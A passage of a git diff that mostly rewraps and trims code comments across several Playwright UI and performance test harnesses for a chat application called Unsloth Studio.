0ms and sails under the budget without raising. Same reasoning as- # the painted-characters floor above.+ # The long-task total is the sensitive metric and the one that goes false-green most quietly: an engine without the+ # longtask entry type, or an observer that stopped delivering, reports 0ms and sails under the budget without+ # raising.if not results.get("longTaskSupported"):failures.append("this engine reports no longtask entries, so the long-task budget measured "diff --git a/tests/studio/playwright_strip_ansi_smoke.py b/tests/studio/playwright_strip_ansi_smoke.pyindex 5f12e5f26c6..c424aa8fc2a 100644--- a/tests/studio/playwright_strip_ansi_smoke.py+++ b/tests/studio/playwright_strip_ansi_smoke.py@@ -54,9 +54,9 @@ def dump(page: Page, vite: subprocess.Popen[str] | None) -> None:dump_diagnostics(page, ART, "smoke-ansi-failure", info = info)if vite is not None:info("vite tail:")- # Snapshot first: the drain thread is still appending, and printing releases the- # GIL, so lazy iteration raises "deque mutated during iteration" and loses the- # tail in the noisy failure it exists for. `list()` runs in C, so it is atomic.+ # Snapshot first: the drain thread is still appending, and printing releases the GIL, so lazy iteration raises+ # "deque mutated during iteration" and loses the tail in the noisy failure it exists for. `list()` runs in C,+ # so it is atomic.for line in list(getattr(vite, "vite_tail", [])) or ["(no output)"]:info(f" {line.rstrip()}")info(f"artifacts in {ART}")diff --git a/tests/studio/playwright_thread_fast_copy.py b/tests/studio/playwright_thread_fast_copy.pyindex 14f64757396..b9912db0ca3 100644--- a/tests/studio/playwright_thread_fast_copy.py+++ b/tests/studio/playwright_thread_fast_copy.py@@ -255,10 +255,10 @@ def check(engine: str, candidate: str) -> Tally:page.add_script_tag(content = candidate)sentinel = f"__s{index}__"page.evaluate(f"() => {{ {SELECT_ALL} }}")- # THE SERIALISED DOM, not the computed style. The unit test asserted the computed- # value came back and passed while every copy was leaving `style=""` behind, because- # `removeAttribute` does not remove a style attribute whose declaration has been- # touched. The structural parity digest caught it; this keeps it caught.+ # THE SERIALISED DOM, not the computed style. The unit test asserted the computed value came back and+ # passed while every copy was leaving `style=""` behind, because `removeAttribute` does not remove a+ # style attribute whose declaration has been touched. The structural parity digest caught it; this keeps+ # it caught.dom_before = page.evaluate("() => document.getElementById('v').outerHTML")verdict = page.evaluate("() => window.__fastCopy()")dom_after = page.evaluate("() => document.getElementById('v').outerHTML")@@ -273,15 +273,15 @@ def check(engine: str, candidate: str) -> Tally:if after != before:problems.append(f"{engine}/{name}: the serialiser did not restore the selection")- # Both engines' clipboards fold a no-break space to a plain one and neither- # `toString()` does, so that difference is not evidence of a divergence.+ # Both engines' clipboards fold a no-break space to a plain one and neither `toString()` does, so that+ # difference is not evidence of a divergence.raw = before.replace("\u00a0", " ")prime_clipboard(page, sentinel)native = read_clipboard(page, sentinel, SELECT_ALL)if name in MUST_REFUSE:- # Not merely "did not answer": the gate has to refuse for the stated reason, or- # a form control could be passing only because the engine was unmapped.+ # Not merely "did not answer": the gate has to refuse for the stated reason, or a form control+ # could be passing only because the engine was unmapped.if verdict["text"] is not None:problems.append(f"{engine}/{name}: ANSWERED a construct measured as divergent")elif verdict["reason"] not in (FORM_CONTROL, UNMAPPED):@@ -292,8 +292,8 @@ def check(engine: str, candidate: str) -> Tally:continueif name in NO_COPY or native is None:continue- # An engine-wide refusal is only honest if this engine's clipboard really does- # disagree with its own `toString()`. Counted here, and asserted non-zero below.+ # An engine-wide refusal is only honest if this engine's clipboard really does disagree with its own+ # `toString()`. Counted here, and asserted non-zero below.if verdict["reason"] == UNMAPPED and native != raw:tally.diverged += 1tally.record(engine, name, verdict, native)@@ -325,10 +325,9 @@ def check(engine: str, candidate: str) -> Tally:tally.record(engine, label, verdict, native)# ---- A BACKWARD SELECTION MUST COME BACK BACKWARD ----- # A cloned Range carries ordered boundaries and no direction, so rebuilding with- # `addRange` silently turns a selection dragged upwards into a forward one and the user's- # next Shift+Arrow moves the opposite edge. Only the patched path rebuilds, so the- # fixture needs an image in it.+ # A cloned Range carries ordered boundaries and no direction, so rebuilding with `addRange` silently turns a+ # selection dragged upwards into a forward one and the user's next Shift+Arrow moves the opposite edge. Only+ # the patched path rebuilds, so the fixture needs an image in it.page.set_content(PAGE.replace("__BODY__",diff --git a/tests/studio/playwright_thread_scoped_settings.py b/tests/studio/playwright_thread_scoped_settings.pyindex 33e8a3d0bc4..0c5c391dd92 100644--- a/tests/studio/playwright_thread_scoped_settings.py+++ b/tests/studio/playwright_thread_scoped_settings.py@@ -30,8 +30,8 @@ ART.mkdir(parents = True, exist_ok = True)TIMEOUT_MS = int(os.environ.get("STUDIO_UI_TIMEOUT_MS", "30000"))-# The installation-wide slots the per-chat edits below must not touch. The legacy confirm toggle-# is here on purpose: loadPermissionMode falls back to it, so writing it would leak globally.+# The installation-wide slots the per-chat edits below must not touch. The legacy confirm toggle is here on purpose:+# loadPermissionMode falls back to it, so writing it would leak globally.GLOBAL_KEYS = ("unsloth_chat_tools_enabled","unsloth_chat_code_tools_enabled",@@ -333,11 +333,8 @@ def main():fail(f"toggling back never reached the defaults: {disabled_globals!r}")step("pin the installation default every later step compares against")- # The install is shared, not fresh: the UI workflow boots this server on the same- # Unsloth home the chat-ui and cross-browser permission tests have already used, and- # those leave a permission level behind in the mirrored settings. Every assertion- # below names a literal level, so the default is set here rather than assumed.- # No chat is open, so this writes the installation default itself.+ # The install is shared, not fresh: earlier UI tests run on the same Unsloth home and+ # leave a permission level behind, so the default is set here rather than assumed.choose_permission(page, "Approve for me")print(f"[thread-settings] defaults now {read_globals(page)!r}",@@ -345,9 +342,9 @@ def main():)step("seed two saved chats")- # Both id shapes are real: chats started in the app keep their `__LOCALID_` id as the- # row's primary key, imported and older rows do not. Seeding only uuids is what let- # this run miss the prefix being read as "no row yet".+ # Both id shapes are real: chats started in the app keep their `__LOCALID_` id as the row's primary key,+ # imported and older rows do not. Seeding only uuids is what let this run miss the prefix being read as+ # "no row yet".thread_a = seed_thread(page, token, "Chat A", app_created_thread_id())thread_b = seed_thread(page, token, "Chat B")print(f"[thread-settings] A={thread_a} B={thread_b}", flush = True)@@ -398,8 +395,8 @@ def main():expect_pills(page, "B after switching back", False, True, "Run automatically")step("and a sidebar switch, with no reload, does the same")- # The reload-free path is the one users take, and the only one where the store still- # holds the outgoing chat's values when the incoming snapshot is applied.+ # The reload-free path is the one users take, and the only one where the store still holds the outgoing chat's+ # values when the incoming snapshot is applied.open_thread_in_page(page, "Chat A")expect_pills(page, "A after an in-page switch", True, False, "Ask for approval")open_thread_in_page(page, "Chat B")@@ -407,8 +404,8 @@ def main():shoot(page, "03-in-page-switch")step("leaving a chat for a new one restores the installation defaults in place")- # No reload here either, so the defaults have to come from the captured copy rather- # than from the store being rebuilt out of localStorage.+ # No reload here either, so the defaults have to come from the captured copy rather than from the store being+ # rebuilt out of localStorage.new_chat_in_page(page)expect_pills(page, "new chat after an in-page switch", False, False, "Approve for me")diff --git a/tests/studio/playwright_thread_weight.py b/tests/studio/playwright_thread_weight.pyindex a162f5b9ce9..b19e781d415 100644--- a/tests/studio/playwright_thread_weight.py+++ b/tests/studio/playwright_thread_weight.py@@ -74,8 +74,8 @@ from _playwright_robust import ( # noqa: E402PORT = int(os.environ.get("SMOKE_PORT", "5213"))# Unset: start and stop our own server. Set: drive that one and leave it running.# Exported-but-empty counts as unset, else we skip the server and drive "" as the URL.-# rstrip("/"): a trailing slash would make the anchored /api/ route regex below never match,-# silently turning the stubbed fork-count fan-out back into live HTTP.+# rstrip("/"): a trailing slash would make the anchored /api/ route regex below never match, silently turning the+# stubbed fork-count fan-out back into live HTTP._EXTERNAL = os.environ.get("SMOKE_BASE_URL", "").strip().rstrip("/")BASE = _EXTERNAL or f"http://127.0.0.1:{PORT}"OWNS_SERVER = not _EXTERNAL@@ -83,11 +83,10 @@ LABEL = os.environ.get("SMOKE_LABEL", "tree")OUT = Path(os.environ.get("PW_ART_DIR", "logs/playwright-thread-weight"))OUT.mkdir(parents = True, exist_ok = True)-# Sorted: the growth check reads the first and last entries as smallest and largest, so an-# unsorted override would invert every ratio and report a good run as measuring nothing.+# Sorted: the growth check reads the first and last entries as smallest and largest, so an unsorted override would+# invert every ratio and report a good run as measuring nothing.SIZES = sorted(int(n) for n in os.environ.get("SMOKE_THREAD_SIZES", "10,50,200,500").split(","))-# 6x is the Lighthouse mobile default and roughly the gap between this machine and the reported-# one under load. Absolute ms are not comparable across machines; the curve is.+# 6x is the Lighthouse mobile default and roughly the gap between this machine and the reported one under load.CPU_THROTTLE_RATE = float(os.environ.get("SMOKE_CPU_THROTTLE", "6"))# Keystrokes are noisy at this timescale, so type several and report the median.KEYSTROKES = int(os.environ.get("SMOKE_KEYSTROKES", "5"))@@ -97,9 +96,7 @@ SCROLL_STEP_PX = int(os.environ.get("SMOKE_SCROLL_STEP_PX", "400"))# not a regression.SEED_TIMEOUT_MS = int(os.environ.get("SMOKE_SEED_TIMEOUT_MS", "180000"))ACTION_TIMEOUT_MS = int(os.environ.get("SMOKE_ACTION_TIMEOUT_MS", "60000"))-# How long an in-page action waits for the DOM to reach the state it asked for. This bounds an-# action that never happened, and nothing else: it must stay well above the slowest honest-# measurement or the harness reports "never opened" for what is really just a very slow open.+# How long an in-page action waits for the DOM to reach the state it asked for.# Measured on this tree, opening the action menu at N=500 under 6x takes around 25s.SETTLE_TIMEOUT_MS = int(os.environ.get("SMOKE_SETTLE_TIMEOUT_MS", "90000"))@@ -152,10 +149,9 @@ def counters(before: dict[str, float], after: dict[str, float]) -> dict[str, flodef long_task_summary(page) -> dict[str, float]:- # PerformanceObserver callbacks are delivered on a later task, so the entry for the long- # task at the tail of an action is not in the array yet. Yield once before reading, or the- # worst entry is silently dropped -- flakily, and most often at large N where that tail- # task is longest.+ # PerformanceObserver callbacks are delivered on a later task, so the entry for the long task at the tail of an+ # action is not in the array yet. Yield once before reading, or the worst entry is silently dropped -- flakily, and+ # most often at large N where that tail task is longest.tasks = page.evaluate("async () => { await new Promise((r) => setTimeout(r, 0)); return window.__longTasks; }")@@ -166,9 +162,9 @@ def long_task_summary(page) -> dict[str, float]:}-# One character through the native value setter plus an input event: what the browser leaves-# behind after a real keypress, and what React's controlled textarea and react-textarea-autosize-# both react to. Resolved on the second rAF, which is the frame that has painted it.+# One character through the native value setter plus an input event: what the browser leaves behind after a real+# keypress, and what React's controlled textarea and react-textarea-autosize both react to. Resolved on the second+# rAF, which is the frame that has painted it.KEYSTROKE_JS = """async (count) => {const api = window.__threadWeight;@@ -244,11 +240,11 @@ async ([steps, stepPx]) => {}"""-# Radix portals the menu to document.body and puts the body on the modal layer, which is the-# fan-out the issue blames. bodyPointerEvents proves the open really took that path.+# Radix portals the menu to document.body and puts the body on the modal layer, which is the fan-out the issue blames.+# bodyPointerEvents proves the open really took that path.#-# The trigger opens on `pointerdown`, not on `click`: an element.click() leaves the menu shut and-# the whole measurement silently reads zero. Hence the pointer pair.+# The trigger opens on `pointerdown`, not on `click`: an element.click() leaves the menu shut and the whole measurement+# silently reads zero.MENU_JS = """async (timeoutMs) => {const api = window.__threadWeight;@@ -332,10 +328,9 @@ async (timeoutMs) => {}"""-# The floor under every timing here: two rAFs resolve no sooner than two vsync intervals.-# Measured at 33.3ms on this machine and unmoved by CPU throttling, so an action that never-# happened still reports ~33ms, which reads as a plausible number rather than as a failure.-# Recorded per N and subtracted before any growth ratio is taken.+# The floor under every timing here: two rAFs resolve no sooner than two vsync intervals. Measured at 33.3ms on this+# machine and unmoved by CPU throttling, so an action that never happened still reports ~33ms, which reads as a+# plausible number rather than as a failure. Recorded per N and subtracted before any growth ratio is taken.PAINT_FLOOR_JS = """async (samples) => {const values = [];@@ -369,13 +364,13 @@ def measure_one(context, cdp_throttle_rate: float, size: int) -> dict:"""Seed a fresh page to `size` messages and run the four actions on it."""page = context.new_page()result: dict = {"messages_requested": size}- # A request that escapes to the server, or a warning storm, is work this harness would be- # charging to the app, once per message. Both are cleared after seeding, so what is asserted- # on is the four measured actions rather than page load.+ # A request that escapes to the server, or a warning storm, is work this harness would be charging to the app,+ # once per message. Both are cleared after seeding, so what is asserted on is the four measured actions rather+ # than page load.## startswith, not `"/api/" in url`: vite serves the app's own source modules from paths like- # /src/features/chat/api/chat-api.ts, and a substring match counts 45 of those as network- # calls. Same trap the API route regex below is anchored to avoid.+ # /src/features/chat/api/chat-api.ts, and a substring match counts 45 of those as network calls. Same trap the API+ # route regex below is anchored to avoid.api_prefix = f"{BASE}/api/"stray_requests: list[str] = []console_warnings: list[str] = []@@ -393,11 +388,11 @@ def measure_one(context, cdp_throttle_rate: float, size: int) -> dict:cdp = context.new_cdp_session(page)cdp.send("Performance.enable")- # Seeding unthrottled: this measures interaction cost at a thread size, not the cost of- # constructing the thread, and 500 messages at 6x would spend minutes here.+ # Seeding unthrottled: this measures interaction cost at a thread size, not the cost of constructing the thread,+ # and 500 messages at 6x would spend minutes here.page.evaluate("(n) => window.__threadWeight.seed(n)", size)- # Single-selector gates. counts() walks every element in the document, so polling it- # per frame makes seeding superlinear in the thing being seeded.+ # Single-selector gates. counts() walks every element in the document, so polling it per frame makes seeding+ # superlinear in the thing being seeded.page.wait_for_function("(n) => window.__threadWeight.messageCount() >= n",arg = size,@@ -408,9 +403,9 @@ def measure_one(context, cdp_throttle_rate: float, size: int) -> dict:arg = size // 2,timeout = SEED_TIMEOUT_MS,)- # Shiki is async and per block, and a <pre> exists before it is highlighted, so counting- # code blocks gates nothing. Wait for the token count to stop moving instead: unfinished- # highlighting would otherwise land in the keystroke window, the first action measured.+ # Shiki is async and per block, and a <pre> exists before it is highlighted, so counting code blocks gates+ # nothing. Wait for the token count to stop moving instead: unfinished highlighting would otherwise land in+ # the keystroke window, the first action measured.page.wait_for_function("""() => {const n = window.__threadWeight.highlightedTokenCount();@@ -433,7 +428,6 @@ def measure_one(context, cdp_throttle_rate: float, size: int) -> dict:# Under throttling, because that is the regime every timing below is taken in.result["paint_floor_ms"] = round(page.evaluate(PAINT_FLOOR_JS, 9), 2)- # 1. Keystroke.reset_long_tasks(page)before = metrics(cdp)typed = page.evaluate(KEYSTROKE_JS, KEYSTROKES)@@ -448,7 +442,6 @@ def measure_one(context, cdp_throttle_rate: float, size: int) -> dict:**long_task_summary(page),}- # 2. Scroll gesture.reset_long_tasks(page)before = metrics(cdp)scrolled = page.evaluate(SCROLL_JS, [SCROLL_STEPS, SCROLL_STEP_PX])@@ -456,19 +449,19 @@ def measure_one(context, cdp_throttle_rate: float, size: int) -> dict:result["scroll"] = {"wall_ms": None if scrolled is None else round(scrolled["wallMs"], 1),"scrolled_px": None if scrolled is None else scrolled["scrolledPx"],- # Long tasks need a 50ms frame; a scroll can be visibly rough well under that, so the- # worst single frame is the jank number and long_task_ms is the severe-case one.+ # Long tasks need a 50ms frame;+ # a scroll can be visibly rough well under that, so the worst single frame is the jank number and+ # long_task_ms is the severe-case one."worst_frame_ms": None if scrolled is None else round(scrolled["worstFrameMs"], 1),"frames": None if scrolled is None else scrolled["frames"],**counters(before, after),**long_task_summary(page),}- # 3. Menu open + close. The bar is hover-revealed once it is autohidden, so hover with a- # real pointer first; only the click-to-settled interval is timed.- # behavior: "instant". The viewport carries scroll-smooth, so the default animates, and- # at large N a fixed wait leaves that animation in flight inside the menu counters --- # the same trap SCROLL_JS documents.+ # 3. Menu open + close. The bar is hover-revealed once it is autohidden, so hover with a real pointer first;+ # only the click-to-settled interval is timed.+ # behavior: "instant". The viewport carries scroll-smooth, so the default animates, and at large N a fixed wait+ # leaves that animation in flight inside the menu counters -- the same trap SCROLL_JS documents.page.evaluate("""() => { const m = window.__threadWeight.lastAssistantMessage();if (m) m.scrollIntoView({ block: "center", behavior: "instant" }); }"""@@ -501,7 +494,6 @@ def measure_one(context, cdp_throttle_rate: float, size: int) -> dict:**long_task_summary(page),}- # 4. Delete.page.locator('[data-role="assistant"]').last.hover(timeout = ACTION_TIMEOUT_MS)reset_long_tasks(page)before = metrics(cdp)@@ -516,8 +508,7 @@ def measure_one(context, cdp_throttle_rate: float, size: int) -> dict:}cdp.send("Emulation.setCPUThrottlingRate", {"rate": 1})- # Cumulative over seeding and all four actions: a liveness check, not attributable to- # any one of them.+ # Cumulative over seeding and all four actions: a liveness check, not attributable to any one of them.result["raf_callbacks"] = page.evaluate("window.__rafCount")result["stray_api_requests"] = len(stray_requests)result["console_warnings"] = len(console_warnings)@@ -552,8 +543,8 @@ def run() -> dict:)context = browser.new_context(viewport = {"width": 1440, "height": 900})context.add_init_script(OBSERVER_INIT)- # Anchored at the origin so it cannot swallow vite's own module URLs, which live under- # src/features/**/api/ and would otherwise match a bare "/api/" pattern.+ # Anchored at the origin so it cannot swallow vite's own module URLs, which live under src/features/**/api/ and+ # would otherwise match a bare "/api/" pattern.context.route(re.compile(rf"^{re.escape(BASE)}/api/"),lambda route: route.fulfill(status = 200, content_type = "application/json", body = "{}"),@@ -566,9 +557,9 @@ def run() -> dict:return results-# Every recorded metric appears here. That is the rule the harnesses in this directory are held-# to: a metric that is recorded and never read is how one goes false-green, and-# tests/studio/test_autoscroll_harness_contract.py fails if anything recorded below is missing.+# Every recorded metric appears here.+# That is the rule the harnesses in this directory are held to: a metric that is recorded and never read is how one goes+# false-green, and tests/studio/test_autoscroll_harness_contract.py fails if anything recorded below is missing.TABLE_ROWS = (("messages requested", lambda r: r["messages_requested"]),("cpu throttle rate", lambda r: r["cpu_throttle_rate"]),@@ -592,8 +583,8 @@ TABLE_ROWS = (("viewport clientHeight", lambda r: r["viewport"]["clientHeight"]),("keystroke median ms", lambda r: r["keystroke"]["median_ms"]),("keystroke worst ms", lambda r: r["keystroke"]["worst_ms"]),- # Compact so the column still lines up. Worth a row of its own: the first sample is always a- # cold outlier, which is why the headline number is the median rather than the mean.+ # Compact so the column still lines up. Worth a row of its own: the first sample is always a cold outlier, which+ # is why the headline number is the median rather than the mean.("keystroke samples ms",lambda r: "/".join(str(round(s)) for s in r["keystroke"]["samples_ms"]),@@ -663,8 +654,8 @@ def print_table(results: dict) -> None:cells.append("-")rows.append((name, cells))label_width = max(len(name) for name, _ in rows) + 2- # From the widest cell, not a constant: a fixed width silently runs the columns together on- # the one row that overflows it, which is the row you were reading.+ # From the widest cell, not a constant: a fixed width silently runs the columns together on the one row that+ # overflows it, which is the row you were reading.cell_width = max([len(cell) for _, cells in rows for cell in cells] + [8]) + 2header = "".ljust(label_width) + "".join(f"N={n}".rjust(cell_width) for n in sizes)info(header)@@ -716,9 +707,9 @@ def harness_failures(results: dict) -> list[str]:for size in results["sizes"]:row = results["by_size"][str(size)]counts = row["counts"]- # A request reaching the server is a CDP round trip to another process inside a region- # being timed, once per assistant message. A warning storm is the same cost via the- # console channel. Both scale with N, so both would forge the curve.+ # A request reaching the server is a CDP round trip to another process inside a region being timed, once per+ # assistant message. A warning storm is the same cost via the console channel. Both scale with N, so both would+ # forge the curve.if row["stray_api_requests"]:failures.append(f"N={size} let {row['stray_api_requests']} /api/ requests reach the network "@@ -742,10 +733,9 @@ def harness_failures(results: dict) -> list[str]:f"N={size} rendered {counts['codeBlocks']} code blocks and "f"{counts['katexNodes']} KaTeX nodes; the message bodies are not realistic")- # An autohidden bar is absent at rest ON PURPOSE, so the resting census cannot be the- # guard any more. What must still hold is that hovering produces one: a tree that- # mounts no bar under the pointer either is broken, and its menu column is measuring- # a page that has no menu.+ # An autohidden bar is absent at rest ON PURPOSE, so the resting census cannot be the guard any more. What must+ # still hold is that hovering produces one: a tree that mounts no bar under the pointer either is broken, and+ # its menu column is measuring a page that has no menu.hovered_triggers = row["menu"].get("triggers_while_hovered")if counts["actionBars"] <= 0 and not hovered_triggers:failures.append(@@ -758,10 +748,9 @@ def harness_failures(results: dict) -> list[str]:keystroke = row["keystroke"]if keystroke["median_ms"] is None:failures.append(f"N={size} could not find the composer input")- # The DOM value is what the harness itself wrote, so it proves nothing on its own. Only- # the runtime's copy shows the keystroke reached React rather than just the textarea --- # and a keystroke that reached nothing still reports the ~33ms paint floor, which reads- # as a plausible timing.+ # The DOM value is what the harness itself wrote, so it proves nothing on its own. Only the runtime's copy+ # shows the keystroke reached React rather than just the textarea -- and a keystroke that reached nothing+ # still reports the ~33ms paint floor, which reads as a plausible timing.elif keystroke["runtime_text"] != keystroke["dom_text"]:failures.append(f"N={size} typed {keystroke['dom_text']!r} into the DOM but the runtime holds "@@ -778,8 +767,7 @@ def harness_failures(results: dict) -> list[str]:)if row["scroll"]["wall_ms"] is None:failures.append(f"N={size} could not find the thread viewport")- # Equal travel at every N or the columns are not the same gesture. A short thread runs- # out of room, so the gesture reverses at the ends rather than stopping.+ # Equal travel at every N or the columns are not the same gesture.elif row["scroll"]["scrolled_px"] < SCROLL_STEPS * SCROLL_STEP_PX * 0.9:failures.append(f"N={size} travelled only {row['scroll']['scrolled_px']}px of the "@@ -803,12 +791,11 @@ def harness_failures(results: dict) -> list[str]:elif deleted["messages_after"] >= deleted["messages_before"]:failures.append(f"N={size} clicked delete and the message count did not drop")- # A modal menu puts the body on the modal layer and a non-modal one does not, and the two- # cost wildly different amounts. Either is a legitimate tree, but a run that mixes them- # across N is comparing columns measured on different mechanisms, which is the quiet way- # this table stops meaning anything. Collected in the loop above rather than in a second- # one over the same sizes: that loop shadowed `size` and `row`, and every check written- # under it silently measured only the last N.+ # A modal menu puts the body on the modal layer and a non-modal one does not, and the two cost wildly different+ # amounts. Either is a legitimate tree, but a run that mixes them across N is comparing columns measured on+ # different mechanisms, which is the quiet way this table stops meaning anything. Collected in the loop above rather+ # than in a second one over the same sizes: that loop shadowed `size` and `row`, and every check written under it+ # silently measured only the last N.if len(layers) > 1:failures.append(f"the menu put the body on {sorted(str(x) for x in layers)} across N; the columns "diff --git a/tests/studio/playwright_tool_activity.py b/tests/studio/playwright_tool_activity.pyindex d5da60d2f95..2c4a9145b99 100644--- a/tests/studio/playwright_tool_activity.py+++ b/tests/studio/playwright_tool_activity.py@@ -63,8 +63,8 @@ ENGINE = os.environ.get("PW_ENGINE", "chromium")PORT = int(os.environ.get("SMOKE_PORT", "5219"))PREFERENCES_KEY = "unsloth_chat_preferences"-# Radix animates for ANIMATION_DURATION = 200ms and the scroll lock holds for the-# same window, so every reading is taken well clear of both.+# Radix animates for ANIMATION_DURATION = 200ms and the scroll lock holds for the same window, so every reading is taken+# well clear of both.SETTLE_MS = 600# The tail of the command the approval card renders. Deliberately past the@@ -172,14 +172,12 @@ def run(base_url: str, pw) -> dict:console: list[str] = []page.on("console", lambda m: console.append(f"{m.type}: {m.text}"))- # --- 1 baseline -------------------------------------------------------fresh(page, base_url, False)s["1_baseline"] = probe(page)for card in CARDS:if s["1_baseline"][card]["aria_expanded"] != "true":p.append(f"1: {card} is not open with the preference OFF (baseline broken)")- # --- 2 fresh mount ----------------------------------------------------fresh(page, base_url, True)s["2_fresh_mount"] = probe(page)for card in ("controlled", "uncontrolled"):@@ -207,7 +205,6 @@ def run(base_url: str, pw) -> dict:elif after_updates[card]["aria_expanded"] != "true":p.append(f"3: {card} LOST its manual expansion across live updates")- # --- 4 live toggle, cards and group ----------------------------------fresh(page, base_url, False)page.click('[data-probe="group-trigger"]')settle(page)@@ -281,7 +278,6 @@ def run(base_url: str, pw) -> dict:if any(m[1] != 0 for m in runs):p.append(f"6: a {label} close moved the scroll position: {[m[1] for m in runs]}")- # --- 7 approval -------------------------------------------------------fresh(page, base_url, True)page.evaluate("() => window.__setAwaitingApproval(true)")settle(page)@@ -334,7 +330,6 @@ def run(base_url: str, pw) -> dict:p.append(f"10: {card} is open under prefers-reduced-motion")reduced.close()- # --- 11 toggle storm --------------------------------------------------fresh(page, base_url, False)page.evaluate("""() => {@@ -410,8 +405,8 @@ def run(base_url: str, pw) -> dict:if raw is Noneelse '{"state":{"collapseToolActivityByDefault":' + raw + '},"version":0}')- # add_init_script takes no arguments, so values are baked in; json.dumps- # also makes the corrupt-JSON case survive being a string literal.+ # add_init_script takes no arguments, so values are baked in;+ # json.dumps also makes the corrupt-JSON case survive being a string literal.seeded.add_init_script(f"window.localStorage.setItem({json.dumps(PREFERENCES_KEY)}, {json.dumps(blob)});")@@ -424,9 +419,9 @@ def run(base_url: str, pw) -> dict:p.append(f"13: {label} takes the page down")seeded.close()s["13_malformed_record"] = malformed- # Reported, not asserted: `??` accepts any non-nullish JSON value, which is- # true of every boolean in this store and unreachable from Studio's own UI.+ # Reported, not asserted: `??` accepts any non-nullish JSON value, which is true of every boolean in this store and+ # unreachable from Studio's own UI.results["console"] = consolebrowser.close()return resultsdiff --git a/tests/studio/playwright_ui_font_scale.py b/tests/studio/playwright_ui_font_scale.pyindex a75f90bef6f..b4c6891f577 100644--- a/tests/studio/playwright_ui_font_scale.py+++ b/tests/studio/playwright_ui_font_scale.py@@ -29,9 +29,8 @@ PW = os.environ["STUDIO_PW"]ART = Path(os.environ.get("PW_ART_DIR", "logs/playwright_fontscale"))ART.mkdir(parents = True, exist_ok = True)-# Read the range from the store instead of restating it: the default is the one-# size at which data-ui-font-size is dropped, and it has already moved once-# (16 -> 15), which is exactly what a pinned copy here fails on.+# Read the range from the store instead of restating it: the default is the one size at which data-ui-font-size is+# dropped, and it has already moved once (16 -> 15), which is exactly what a pinned copy here fails on._STORE = (Path(__file__).resolve().parents[2]/ "studio/frontend/src/features/settings/stores/appearance-custom-store.ts"@@ -44,8 +43,7 @@ if _RANGE is None:raise AssertionError("[font-scale] FAIL: no UI_FONT_SIZE_RANGE in appearance-custom-store.ts")SIZES = (int(_RANGE.group(1)), int(_RANGE.group(2)))DEFAULT = int(_RANGE.group(3))-# The base the authored rem typography is written against; --ui-font-scale is-# the preference divided by it.+# The base the authored rem typography is written against; --ui-font-scale is the preference divided by it._BASE = re.search(r"UI_FONT_SIZE_CSS_BASE\s*=\s*(\d+)", _STORE)if _BASE is None:raise AssertionError(@@ -146,9 +144,8 @@ def set_input(page, label, value):def open_appearance(page):- # The shortcut can fire before the app has wired its key handler, so press- # each chord once behind a fixed sleep and a slow boot loses the dialog.- # Alternate them on a bounded retry, waiting on the dialog itself.+ # The shortcut can fire before the app has wired its key handler, so press each chord once behind a fixed sleep and+ # a slow boot loses the dialog. Alternate them on a bounded retry, waiting on the dialog itself.dialog = page.get_by_role("dialog")for attempt in range(10):page.keyboard.press("Meta+," if attempt % 2 else "Control+,")@@ -234,8 +231,8 @@ def main():viewport = page.locator("[data-radix-select-viewport]")viewport.wait_for(state = "visible")- # Wait for the overflow itself rather than a fixed sleep: the list is- # populated asynchronously, so measuring too early reads it as short.+ # Wait for the overflow itself rather than a fixed sleep: the list is populated asynchronously, so measuring+ # too early reads it as short.try:page.wait_for_function(SCROLLABLE_JS, timeout = 10_000)except PWTimeout:@@ -254,17 +251,16 @@ def main():if not kb_top > 0:fail(f"keyboard did not scroll the select viewport after 40 presses: {kb_top}")- # That read lands mid-scroll and comes in low (24-35px on the ubuntu CI image),- # which is neither the floor the wheel has to beat nor a moment a wheel event- # survives. Let the scroll finish and re-read instead of racing it.+ # That read lands mid-scroll and comes in low (24-35px on the ubuntu CI image), which is neither the floor the+ # wheel has to beat nor a moment a wheel event survives. Let the scroll finish and re-read instead of racing it.kb_top = settled_scroll_top(page)# At 0 the comparison below is unsatisfiable, so the wheel would always fail.if not kb_top > 0:fail(f"select viewport returned to the top once the keyboard scroll settled: {kb_top}")vp_box = viewport.bounding_box()- # Keep the pointer inside the viewport: a fixed 40px offset lands outside a- # shorter box and the wheel then goes to whatever is underneath.+ # Keep the pointer inside the viewport: a fixed 40px offset lands outside a shorter box and the wheel then goes+ # to whatever is underneath.page.mouse.move(vp_box["x"] + vp_box["width"] / 2,vp_box["y"] + min(40, vp_box["height"] / 2),@@ -309,8 +305,8 @@ def main():"() => { const el = document.querySelector('.size-icon');"" return el ? parseFloat(getComputedStyle(el).width) : null; }")- # Standard icons render at the UI font size itself below the CSS base,- # so the smallest setting gives glyphs of exactly that many px.+ # Standard icons render at the UI font size itself below the CSS base, so the smallest setting gives glyphs of+ # exactly that many px.if not near(icon_w, small):fail(f"size-icon did not match the UI font size below {CSS_BASE}: {icon_w}")page.goto(BASE, wait_until = "domcontentloaded")diff --git a/tests/studio/playwright_update_banner_layout.py b/tests/studio/playwright_update_banner_layout.pyindex 54df33fdac1..46be08ab346 100644--- a/tests/studio/playwright_update_banner_layout.py+++ b/tests/studio/playwright_update_banner_layout.py@@ -44,9 +44,8 @@ from _playwright_robust import ( # noqa: E402wait_for_health,)-# The wall this suite did not have, matching playwright_chat_ui.py and-# playwright_extra_ui.py. It has six raw `page.evaluate` calls, which take no-# `timeout=` at all, and it runs mid-lane on Windows sharing a server with the+# The wall this suite did not have, matching playwright_chat_ui.py and playwright_extra_ui.py. It has six raw+# `page.evaluate` calls, which take no `timeout=` at all, and it runs mid-lane on Windows sharing a server with the# suite before it -- so a wedge here stalled the lane with nothing printed.WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "720"))@@ -59,14 +58,14 @@ ART.mkdir(parents = True, exist_ok = True)PLAYWRIGHT_BROWSER = os.environ.get("STUDIO_PLAYWRIGHT_BROWSER", "chromium").lower()PLAYWRIGHT_CHANNEL = os.environ.get("STUDIO_PLAYWRIGHT_CHANNEL") or None-# The web check fires 5s after mount and the llama.cpp one after 1s; this is-# the ceiling on waiting for them, not the wait itself.+# The web check fires 5s after mount and the llama.cpp one after 1s; this is the ceiling on waiting for them, not the+# wait itself.SETTLE_MS = int(os.environ.get("STUDIO_UI_BANNER_SETTLE_MS", "9000"))# What the cards need after they mount, to animate in and lay out.SETTLED_MS = int(os.environ.get("STUDIO_UI_BANNER_SETTLED_MS", "900"))-# Must match the name use-web-update-check.ts reads. Kept short rather than zero so the-# card still arrives after first paint, which is the situation the layout checks exist for.+# Must match the name use-web-update-check.ts reads. Kept short rather than zero so the card still arrives after+# first paint, which is the situation the layout checks exist 